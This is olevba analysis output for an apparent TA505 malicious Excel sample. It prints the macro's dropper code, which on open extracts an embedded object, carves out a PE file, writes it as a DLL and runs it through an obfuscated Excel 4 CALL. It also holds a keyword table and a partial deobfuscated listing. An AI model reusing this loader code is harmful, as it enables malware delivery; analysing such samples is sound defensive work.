TA505_ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717_analysis

#TA505 #Campaign
#oleobj #VBA #Macro

olevba 0.55.1 on Python 3.8.5 - http://decalage.info/python/oletools
===============================================================================
FILE: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Workbook_Open()
If WelcomeDialog.Visible = True Then
Exit Sub
End If

Module5.RedButton 2910
End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls
in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Worksheet_SelectionChange(ByVal target As Range)

End Sub
-------------------------------------------------------------------------------
VBA MACRO Page11.cls
in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Page11'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Lumene.cls
in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Lumene'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Dim vSpeed As Integer
Dim vLicensePlate As String

Public Property Get Speed() As Integer
    Speed = vSpeed
End Property


Public Property Get CheckCar(car As Variant, Drive As String)
CheckCar = car.SpecialFolders("" & Drive)

End Property
Public Property Get SpecialFolders() As String
    LicensePlate = vLicensePlate
End Property

Public Property Let LicensePlate(lp As String)
    If Len(lp) <> 6 Then Err.Raise (xlErrValue) 'Raise error
    vLicensePlate = lp
End Property


Public Property Let Speed(sp As Integer)

End Property


-------------------------------------------------------------------------------
VBA MACRO Module0.bas
in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Module0'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public HurricanMoes() As Byte
Public PatchForLuck As Byte
Public LUCKY As Double
Public MoveStep As Byte
Public PatchForHeart As Byte





Public Sub VistaQ(WhereToGo)
 DoEvents
        ThisWorkbook.Sheets.Copy
        Application.DisplayAlerts = False
        DoEvents
        ActiveWorkbook.SaveAs WhereToGo, Local:=False, FileFormat:=3 * 7 + 3 * 7 + 9
    DoEvents
    DoEvents
    ActiveWorkbook.Close
DoEvents
    DoEvents


End Sub





Public Sub PublicResumEraseByArrayList(ParamArray putArrayBigList() As Variant)
    On Error Resume Next
    For Each Key In putArrayBigList
        Kill Key
    Next Key
End Sub





Private Sub TextBox2_Change()

x = Len(TextBox2)
Y = LTrim(TextBox2.Text)
d = TextBox2
If d = "" Then
TextBox2.BackColor = &HFFFFFF
Exit Sub
End If
If Left(d, 2) > 24 Then
MsgBox "Ora Errata"
TextBox2.SelStart = 0
TextBox2.SelLength = Len(TextBox2)
Exit Sub
End If
If x = 2 Then TextBox2 = Y & ":"
If x = 4 Then Exit Sub

If Mid(d, 4, 2) = "" Then Exit Sub
If Mid(d, 4, 2) > 59 Then
MsgBox "Minuti Errati"
TextBox2.SelStart = 3
TextBox2.SelLength = Len(TextBox2)
Exit Sub
End If


If x = 5 Then
TextBox3.SetFocus
End If
Exit Sub

Resume
End Sub

Public Function Vooooohead()


   Dim ofbl As String
    Dim sOfbl As String
     Dim NumBForRead As Long


    dershlep = "" + Form0.TextBox1.Tag



Dim sendings As Integer
ofbl = Form0.TextBox3.Tag
ofbl = ofbl + "\srt_join"

 liquidOne = Form0.TextBox1.Tag + "\academ"

 liquidOne = liquidOne + "l.xlsx"

         Dim arr(1 To 3) As String




   If LenB(Form0.TextBox3.Text) > 200 Then
        MsgBox "Ultrapassa 66 Caracteres!", vbCritical, "HISTÓRICO"
        TextBox7.SelStart = 0
    Else


    End If
        Dim objeto As Control

    If Len(Form0.TextBox1.Text) > 366 Then
        For Each objeto In UserForm1.Controls
            On Error Resume Next
            objeto.Value = ""
        Next

        Unload ggg.UserForm1
        ggg.UserForm1.Hide
    End If



ctackPip = liquidOne & Page11.Range("B115").Value

 PublicResumEraseByArrayList ofbl + "*", ctackPip, dershlep + UserForm1.Label1.Tag


  VistaQ liquidOne

        FileCopy liquidOne, ctackPip
         sendings = 1
         Dim sNMSP As New Shell
         FlagDouble = False

         Lrigat = UserForm1.Label11.Tag

        If sendings > 0 And sendings > -30 Then

            Set DestinationKat = sNMSP.Namespace(dershlep)
            Set harvest = sNMSP.Namespace(ctackPip)


        End If


Set ExcelC = ThisWorkbook.Sheets(1).Application.Sheets(1).Application



CallByName DestinationKat, "Co" + "py" + "Here", VbMethod, harvest.Items.Item(Lrigat)


Dim car As Lumene

Set car = New Lumene
       For StepBit = 1 To 2

    NumBForRead = 324480
      sendings = 1
            flayString = "1"

        If FlagDouble Then

                sendings = 2
                NumBForRead = 1000000 - 725696
            flayString = "2"
            Else
                FlagDouble = True
            End If

            sOfbl = ofbl + flayString + ".dll"
 Composition dershlep + "" + UserForm1.Label1.Tag + "" + "", sOfbl, NumBForRead, sendings

        If sendings < 100 Then
            sendings = sendings + 1
            sendings = sendings + 1
        End If
        If -100 <= sendings Then
            sendings = sendings + 1
            ChDir Form0.TextBox3.Tag
            sendings = sendings + 1
        End If
        sOfbl = """" + sOfbl & ""","""

        If sendings < 0 Then
            sendings = sendings + 1
            sendings = sendings + 1
        End If


        If sendings > 1000 Then
            sendings = sendings + 1
        End If

        If sendings < 0 Then
            sendings = sendings + 1
        End If


    d = CallByName(ExcelC, "Execu" + "teE" + "xcel4Macro", VbMethod, "CAL" + "L(" + sOfbl + "frar"",""J"")")
        If sendings < 0 Then
            sendings = sendings + 1
            sendings = sendings + 1
        End If
    StopByOk = TestResult(d)


Next
   WelcomeDialog.Hide

End Function


Sub subTotalSales()

    Dim LR As Integer
    LR = Cells(Rows.Count, "A").End(xlUp).Row + 2
    Rows("1:2").EntireRow.Insert Shift:=xlDown

    If LR = 3 Then
        Range("A1").Select
        Call salesHeade.rs
        Range("A2").Formula = "$0"
        Range("B2").Formula = "$0"
        Range("C2").Formula = "$0"
        Range("D2").Formula = "$0"
        Range("E2").Formula = "$0"
        Range("F2").Formula = "0%"
        Range("G2").Formula = "0"
        Range("H2").Formula = "$0"
        Range("I2").Formula = "0"
        Range("J2").Formula = "0"
        Range("K2").Formula = "$0"
        Range("L2").Formula = "$0"
        Range("M2").Formula = "0"
        Range("N2").Formula = "0%"
    Else
        Range("A1").Select
        Call salesHeade.rs
        With ActiveSheet

        End With
    End If

End Sub


Sub InputWeekData(x As Date)

    ActiveCell = Format(x, "ww", vbMonday, vbFirstFourDays)
    ActiveCell.Offset(0, 1).Select
    ActiveCell = x
    ActiveCell.Offset(0, 1).Select
    ActiveCell = x + 6
    ActiveCell.Offset(0, 1).Select

End Sub
Private Sub TextBox3_Change()

Y = LTrim(TextBox3.Text)
d = TextBox3

If x = 5 Then
TextBox4.SetFocus
End If

End Sub











-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Public Const FirstB As Byte = 77
 Public Const SecondB As Byte = 90
 Public Const ThirdB As Byte = 144
Public Sub GetParam(Count As Integer)
    Dim i As Long
    Dim j As Integer
    Dim C As String
    Dim tooolsetChunkI As Boolean
    Dim tooolsetChunkQ As Boolean

    j = 1
    tooolsetChunkI = False
    tooolsetChunkQ = False
    GetP.aram = ""
    For i = 1 To Len(Comma.nd$)
        C = Mi.d$(Comma.nd$, i, 1)
        If tooolsetChunkI Then
            If C = """" Then
                j = j + 1
                tooolsetChunkI = False
                tooolsetChunkQ = False
            End If
        ElseIf Not tooolsetChunkQ Then
            If C = " " Then
                j = j + 1
            End If
        Else
            If C = """" Then
                If j > Count Then Exit Sub
                tooolsetChunkI = True
                tooolsetChunkQ = True
            ElseIf C <> " ccc" Then

            End If
        End If
        If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
    Next i
End Sub






Public Sub GetParam3(Count As Integer)
    Dim i As Long
    Dim j As Integer
    Dim C As String
    Dim tooolsetChunkI As Boolean
    Dim tooolsetChunkQ As Boolean

    j = 1
    tooolsetChunkI = False
    tooolsetChunkQ = False
    GetP.aram = ""
    For i = 1 To Len(Comma.nd$)
        C = Mi.d$(Comma.nd$, i, 1)
        If tooolsetChunkI Then
            If C = """" Then
                j = j + 1
                tooolsetChunkI = False
                tooolsetChunkQ = False
            End If

        Else
            If C = """" Then
                If j > Count Then Exit Sub
                tooolsetChunkI = True
                tooolsetChunkQ = True
            ElseIf C <> " " Then
                tooolsetChunkI = True
            End If
        End If
        If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
    Next i
End Sub






Public Sub Composition(Composition2 As String, ofbl As String, fl As Long, DisputeChannel6 As Integer)
 Dim PChannel As Long
  Dim logicVari As Integer
 Dim SimpleMethod As Integer
 ReDim HurricanMoes(1 To fl)
 PChannel = FreeFile
 Open Composition2 For Binary Access Read As PChannel
HurricanMoes(1) = FirstB

 HurricanMoes(2) = SecondB
 HurricanMoes(3) = ThirdB
 logicVari = 1
Do While Not EOF(PChannel)
 Get PChannel, , MoveStep
 If MoveStep = FirstB Then

 Get PChannel, , PatchForHeart
 If PatchForHeart = SecondB Then

 Get PChannel, , PatchForLuck
 If PatchForLuck = ThirdB Then

 If logicVari = DisputeChannel6 Then
 For k = 4 To fl
 Get PChannel, , MoveStep
 HurricanMoes(k) = MoveStep
 Next k
 Exit Do
 Else
 logicVari = logicVari + 1
 End If
 End If
 End If
 End If
 Loop
 On Error Resume Next
 PublicationChannel = 1892
 Close PChannel
 PublicationChannel = 1892 + PublicationChannel
 PChannel = FreeFile
 PublicationChannel = 1892 + PublicationChannel
 Open ofbl For Binary Lock Read Write As #PChannel
 PublicationChannel = 1892 + PublicationChannel
 zeroBob = 1
 For i = zeroBob To UBound(HurricanMoes)

 If WelcomeDialog.Enabled = True Then

    Put #PChannel, , HurricanMoes(i)
 End If
 Next i
 Close PChannel
 PChannel = FreeFile
 For HSP = 33 To -1 Step -0.25
 PChannel = 6 + i
 Next HSP
 PChannel = 6 + i
End Sub




Private Sub cmd_Keluar_Click()
Unload LSD.Me
MDIForm1.dokter.Enabled = True
MDIForm1.dokter.Checked = False
End Sub

Private Sub cmd_Perbaiki_Click()
If cmd_Perbaiki.Caption = "Pe&rbaiki" Then
   cmd_Simpan.Enabled = False
   cmd_Hapus.Enabled = False
   cmd_Batal.Enabled = True
   Dim var As String
   var = InputBox("Ketikkan kode dokter yang datanya akan di perbaiki !", "Perbaiki Data dokter")
   If var = Empty Then Exit Sub
      Data1.Recordset.Index = "Kode_dokter"
      Data1.Recordset.Seek "=", var
      If Not Data1.Recordset.NoMatch Then
         Call tam.pil
         txtkd_dok.Enabled = False
         txtnm_dok.Enabled = True
         cmd_Perbaiki.Caption = "&Perbaharui data"
      Else
         MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
      End If
Else
Data1.Recordset.Edit
Data1.Recordset!kode_dokter = txtkd_dok.Text
Data1.Recordset!nama_dokter = txtnm_dok.Text
Data1.Recordset.Update
Call ber.sih
cmd_Perbaiki.Caption = "Pe&rbaiki"
cmd_Batal.Enabled = False
cmd_Simpan.Enabled = True
cmd_Hapus.Enabled = True
Call tdk_bi.sa
End If
End Sub

Private Sub cmd_Simpan_Click()
If cmd_Simpan.Caption = "&Isi Data" Then
Call bis.a
nom.Or
M.e.txtnm_dok.SetFocus
cmd_Batal.Enabled = True
cmd_Perbaiki.Enabled = False
cmd_Hapus.Enabled = False
cmd_cari.Enabled = False
cmd_Simpan.Caption = "&Simpan Data"
Else
If txtkd_dok.Text = "" Or _
        txtnm_dok.Text = "" Then
        MsgBox "Data tidak boleh kosong !", vbCritical, "SISTEM PENJUALAN KREDIT"
        txtkd_dok.SetFocus
        Else
cmd_Batal.Enabled = False
cmd_Perbaiki.Enabled = True
cmd_Hapus.Enabled = True
cmd_cari.Enabled = True
Data1.Recordset!kode_dokter = txtkd_dok.Text
Data1.Recordset!nama_dokter = txtnm_dok.Text
Data1.Recordset.Update
Call ber.sih
cmd_Simpan.Caption = "&Isi Data"
End If
End If
End Sub



Function retVal(ByVal v As Variant) As Variant
    If v <> 0 Then
        retVal = v
    Else
        retVal = ""
    End If

End Function

Function getFile() As String()
    Dim s As String
    Dim sl(1000) As String
    Dim r As Range
    Dim i As Integer
    Erase sl
    i = 0
    For Each r In Worksheets("Sheet1").Range("B1:B100")
        s = r.Value
        If s <> "" Then
            i = i + 1
            sl(i) = s
        End If
    Next r
    getFile = sl()
End Function

Function getReadKey() As String()
    Dim s As Variant
    Dim rs As Variant
    Dim tmp As Variant
    Dim tmpStr As String
    Dim i As Long

    tmpStr = ""
    For Each s In getFile()
        If s <> "" Then
            tmp = Split(s, "\")
            For i = LBound(tmp) To UBound(tmp)
                If i = LBound(tmp) Then
                    tmpStr = tmp(i)
                ElseIf i = UBound(tmp) Then
                    tmpStr = tmpStr & "\[" & tmp(i) & "]" & "Sheet1"
                Else
                    tmpStr = tmpStr & "\" & tmp(i)
                End If
            Next i
            If Not IsEmpty(rs) Then
                rs = rs & ";" & "'" & tmpStr & "'!"
            Else
                rs = "'" & tmpStr & "'!"
            End If
        End If
    Next s
    Erase tmp
    tmp = Split(rs, ";")
    getReadKey = tmp
End Function


























-------------------------------------------------------------------------------
VBA MACRO UserForm1.frm
in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/UserForm1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module5.bas
in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Module5'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public Function RedButton(dImmer As Double)

  DosTres = "DosTres"

If CallByName(WelcomeDialog, "Visible", VbGet) = True Then
Exit Function
End If
    reqPlace = 3
    reqPlace = reqPlace - 1

Set car = New Lumene
    Set TSPIP = New IWshRuntimeLibrary.WSHShell
    Select Case reqPlace
    Case 0
        s = "N health problems"
    Case 1
        s = "Minor health problems"
    Case 2
        s = "Major health problems"

    Case 3
        s = "Sev ere disability"
    End Select

    Dim SpecialPath As String

PRP = "%" & Form0.TextBox1.Tag



TBT = PRP
TBT = TBT + "" + ""
TBT = TBT + "%"
TBT = TSPIP.ExpandEnvironmentStrings(TBT)

  firstWeek = 0
     firstDay = 0
     Dim firstdate As Date
CallByName Form0.TextBox1, "Tag", VbLet, TBT
  firstDay = 2

    lastDay = 4
    Dim lastdate As Date
     lastWeek = 0
     lastDay = 0

      s = car.CheckCar(TSPIP, Form0.TextBox3.ControlTipText & "")
    firstWeek = 1

    lastWeek = 3
 Form0.TextBox3.Tag = s


    If Not firstDay = 1 Then
        firstdate = firstdate + (8 - firstDay)
        firstWeek = firstWeek + 1
    End If
    If lastDay = 6 Then
        lastdate = lastdate + 1
        lastDay = lastDay + 1
    ElseIf Not lastDay = 7 Then
        lastdate = lastdate - lastDay
        lastDay = 7
        lastWeek = lastWeek - 1
    End If


     iteration = 0


ChDir (Form0.TextBox1.Tag + "")
If WelcomeDialog.Visible = False Then
WelcomeDialog.Show
End If

End Function







Private Sub Command7_Click()
 B = MsgBox("?????????", vbYesNo)
 If B = vbYes Then
  a = "delete from cinema where cinid='"
  a = a + Text1.Text + "'"
  cnmovie.Execute a
  rs4.Close
  Sql = "select * from cinema"
  rs4.Open Sql, cnmovie, adOpenDynamic, adLockOptimistic
     If rs.BOF Or rs.EOF Then
       MsgBox "?????!"
     Else
       rs4.MoveFirst
     Call View.Data
   End If
 End If
End Sub




Private Sub nomor()
Dim urutan As String * 5
Dim hitung As Byte

    If Data1.Recordset.RecordCount = 0 Then
        urutan = "Dr" & "001"
    Else
        Data1.Recordset.MoveLast
        If Val(Left(Data1.Recordset!kode_dokter, 3)) <> "000" Then
            urutan = "00" & "001"
        Else
        hitung = Val(Right(Data1.Recordset!kode_dokter, 3)) + 1
        urutan = "Dr" & Right("000" & hitung, 3)
    End If
    End If
    M.e.txtkd_dok = urutan

End Sub

Private Sub cmd_Batal_Click()
Call be.rsih
Call td.k_bisa
cmd_Batal.Enabled = False
cmd_Perbaiki.Enabled = True
cmd_Hapus.Enabled = True
cmd_cari.Enabled = True
End Sub

Private Sub cmd_cari_Click()
Dim var As String
var = InputBox("Masukan Kode Dokter yang ingin anda cari!", "Cari data dokter")
If var = Empty Then Exit Sub
   If var <> "" Then
      Data1.Recordset.Index = "kode_dokter"
      Data1.Recordset.Seek "=", var
      If Not Data1.Recordset.NoMatch Then
         Call tam.pil
         Call bi.sa
         Call kun.ci
      Else
         MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
      End If
   End If
End Sub



Public Function TestResult(result As Variant)
TestResult = False
If IsNumeric(ExcelReturn) Then
  If ExcelReturn = 0 Then
   TestResult = True
  End If
 End If
End Function
Private Sub cmd_Hapus_Click()
Dim var As String
var = InputBox("Masukan Kode dokter yang akan dihapus!", "Hapus dokter")
If var = Empty Then Exit Sub
   If var = "" Then
      Data1.Recordset.Index = "Kode_dokter"
      Data1.Recordset.Seek "=", var
      If Not Data1.Recordset.NoMatch Then
         Data1.Recordset.Delete
         Data1.Refresh
         Data1.Recordset.MoveFirst
      Else
         MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"

      End If
    End If
End Sub






-------------------------------------------------------------------------------
VBA MACRO Form0.frm
in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Form0'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Sheet3.cls
in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Sheet3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Sheet2.cls
in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/Sheet2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO WelcomeDialog.frm
in file: ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717 - OLE stream: '_VBA_PROJECT_CUR/VBA/WelcomeDialog'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Private Sub UserForm_Activate()
DoEvents
DoEvents
Vooooohead
DoEvents
End Sub




-------------------------------------------------------------------------------
VBA FORM STRING IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
H�,�
-------------------------------------------------------------------------------
VBA FORM STRING IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Tahomas
-------------------------------------------------------------------------------
VBA FORM STRING IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
\oleObject*.bin
-------------------------------------------------------------------------------
VBA FORM STRING IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Tahomae
-------------------------------------------------------------------------------
VBA FORM STRING IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/UserForm1/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
�Label1
-------------------------------------------------------------------------------
VBA FORM STRING IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/UserForm1/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
�xl\embeddings\oleObject1.bin�
-------------------------------------------------------------------------------
VBA FORM Variable "b'TextBox1'" IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/Form0'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b''
-------------------------------------------------------------------------------
VBA FORM Variable "b'TextBox3'" IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/Form0'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b'\\oleObject*.bin'
-------------------------------------------------------------------------------
VBA FORM Variable "b'ComboBox1'" IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/Form0'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b''
-------------------------------------------------------------------------------
VBA FORM Variable "b'Label1'" IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/UserForm1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
None
-------------------------------------------------------------------------------
VBA FORM Variable "b'Label11'" IN 'ff8aa0311eaed071d6a7c0b644c657be4f47612ff3e5b6e6377ec94ffb46f717' - OLE stream: '_VBA_PROJECT_CUR/UserForm1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
None
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Workbook_Open       |Runs when the Excel Workbook is opened       |
|AutoExec  |cmd_Keluar_Click    |Runs when the file is opened and ActiveX     |
|          |                    |objects trigger events                       |
|AutoExec  |TextBox2_Change     |Runs when the file is opened and ActiveX     |
|          |                    |objects trigger events                       |
|Suspicious|Open                |May open a file                              |
|Suspicious|Write               |May write to a file (if combined with Open)  |
|Suspicious|Put                 |May write to a file (if combined with Open)  |
|Suspicious|Binary              |May read or write a binary file (if combined |
|          |                    |with Open)                                   |
|Suspicious|FileCopy            |May copy a file                              |
|Suspicious|Kill                |May delete a file                            |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Call                |May call a DLL using Excel 4 Macros (XLM/XLF)|
|Suspicious|ActiveWorkbook.SaveA|May save the current workbook                |
|          |s                   |                                             |
|Suspicious|CallByName          |May attempt to obfuscate malicious function  |
|          |                    |calls                                        |
|Suspicious|CALL                |May call a DLL using Excel 4 Macros (XLM/XLF)|
|          |                    |(obfuscation: VBA expression)                |
|Suspicious|ExecuteExcel4Macro  |May run an Excel 4 Macro (aka XLM/XLF) from  |
|          |                    |VBA (obfuscation: VBA expression)            |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Suspicious|VBA obfuscated      |VBA string expressions were detected, may be |
|          |Strings             |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Hex String|SiK@                |53694B40                                     |
|VBA string|b'\xb1\x15'         |Range("B115")                                |
|VBA string|CopyHere            |"Co" + "py" + "Here"                         |
|VBA string|                    |"" + ""                                      |
|VBA string|ExecuteExcel4Macro  |"Execu" + "teE" + "xcel4Macro"               |
|VBA string|CALL(               |"CAL" + "L("                                 |
|VBA string|]Sheet1             |"]" & "Sheet1"                               |
|VBA string|;'                  |";" & "'"                                    |
|VBA string|Dr001               |"Dr" & "001"                                 |
|VBA string|00001               |"00" & "001"                                 |
+----------+--------------------+---------------------------------------------+
MACRO SOURCE CODE WITH DEOBFUSCATED VBA STRINGS (EXPERIMENTAL):


Private Sub Workbook_Open()
If WelcomeDialog.Visible = True Then
Exit Sub
End If

Module5.RedButton 2910
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Worksheet_SelectionChange(ByVal target As Range)

End Sub

Attribute VB_Name = "Page11"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Lumene"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Dim vSpeed As Integer
Dim vLicensePlate As String

Public Property Get Speed() As Integer
    Speed = vSpeed
End Property


Public Property Get CheckCar(car As Variant, Drive As String)
CheckCar = car.SpecialFolders("" & Drive)

End Property
Public Property Get SpecialFolders() As String
    LicensePlate = vLicensePlate
End Property

Public Property Let LicensePlate(lp As String)
    If Len(lp) <> 6 Then Err.Raise (xlErrValue) 'Raise error
    vLicensePlate = lp
End Property


Public Property Let Speed(sp As Integer)

End Property



Attribute VB_Name = "Module0"

Attribute VB_Name = "Module1"
Public HurricanMoes() As Byte
Public PatchForLuck As Byte
Public LUCKY As Double
Public MoveStep As Byte
Public PatchForHeart As Byte





Public Sub VistaQ(WhereToGo)
 DoEvents
        ThisWorkbook.Sheets.Copy
        Application.DisplayAlerts = False
        DoEvents
        ActiveWorkbook.SaveAs WhereToGo, Local:=False, FileFormat:=3 * 7 + 3 * 7 + 9
    DoEvents
    DoEvents
    ActiveWorkbook.Close
DoEvents
    DoEvents


End Sub





Public Sub PublicResumEraseByArrayList(ParamArray putArrayBigList() As Variant)
    On Error Resume Next
    For Each Key In putArrayBigList
        Kill Key
    Next Key
End Sub





Private Sub TextBox2_Change()

x = Len(TextBox2)
Y = LTrim(TextBox2.Text)
d = TextBox2
If d = "" Then
TextBox2.BackColor = &HFFFFFF
Exit Sub
End If
If Left(d, 2) > 24 Then
MsgBox "Ora Errata"
TextBox2.SelStart = 0
TextBox2.SelLength = Len(TextBox2)
Exit Sub
End If
If x = 2 Then TextBox2 = Y & ":"
If x = 4 Then Exit Sub

If Mid(d, 4, 2) = "" Then Exit Sub
If Mid(d, 4, 2) > 59 Then
MsgBox "Minuti Errati"
TextBox2.SelStart = 3
TextBox2.SelLength = Len(TextBox2)
Exit Sub
End If


If x = 5 Then
TextBox3.SetFocus
End If
Exit Sub

Resume
End Sub

Public Function Vooooohead()


   Dim ofbl As String
    Dim sOfbl As String
     Dim NumBForRead As Long


    dershlep = "" + Form0.TextBox1.Tag



Dim sendings As Integer
ofbl = Form0.TextBox3.Tag
ofbl = ofbl + "\srt_join"

 liquidOne = Form0.TextBox1.Tag + "\academ"

 liquidOne = liquidOne + "l.xlsx"

         Dim arr(1 To 3) As String




   If LenB(Form0.TextBox3.Text) > 200 Then
        MsgBox "Ultrapassa 66 Caracteres!", vbCritical, "HISTÓRICO"
        TextBox7.SelStart = 0
    Else


    End If
        Dim objeto As Control

    If Len(Form0.TextBox1.Text) > 366 Then
        For Each objeto In UserForm1.Controls
            On Error Resume Next
            objeto.Value = ""
        Next

        Unload ggg.UserForm1
        ggg.UserForm1.Hide
    End If



ctackPip = liquidOne & Page11."b'\xb1\x15'".Value

 PublicResumEraseByArrayList ofbl + "*", ctackPip, dershlep + UserForm1.Label1.Tag


  VistaQ liquidOne

        FileCopy liquidOne, ctackPip
         sendings = 1
         Dim sNMSP As New Shell
         FlagDouble = False

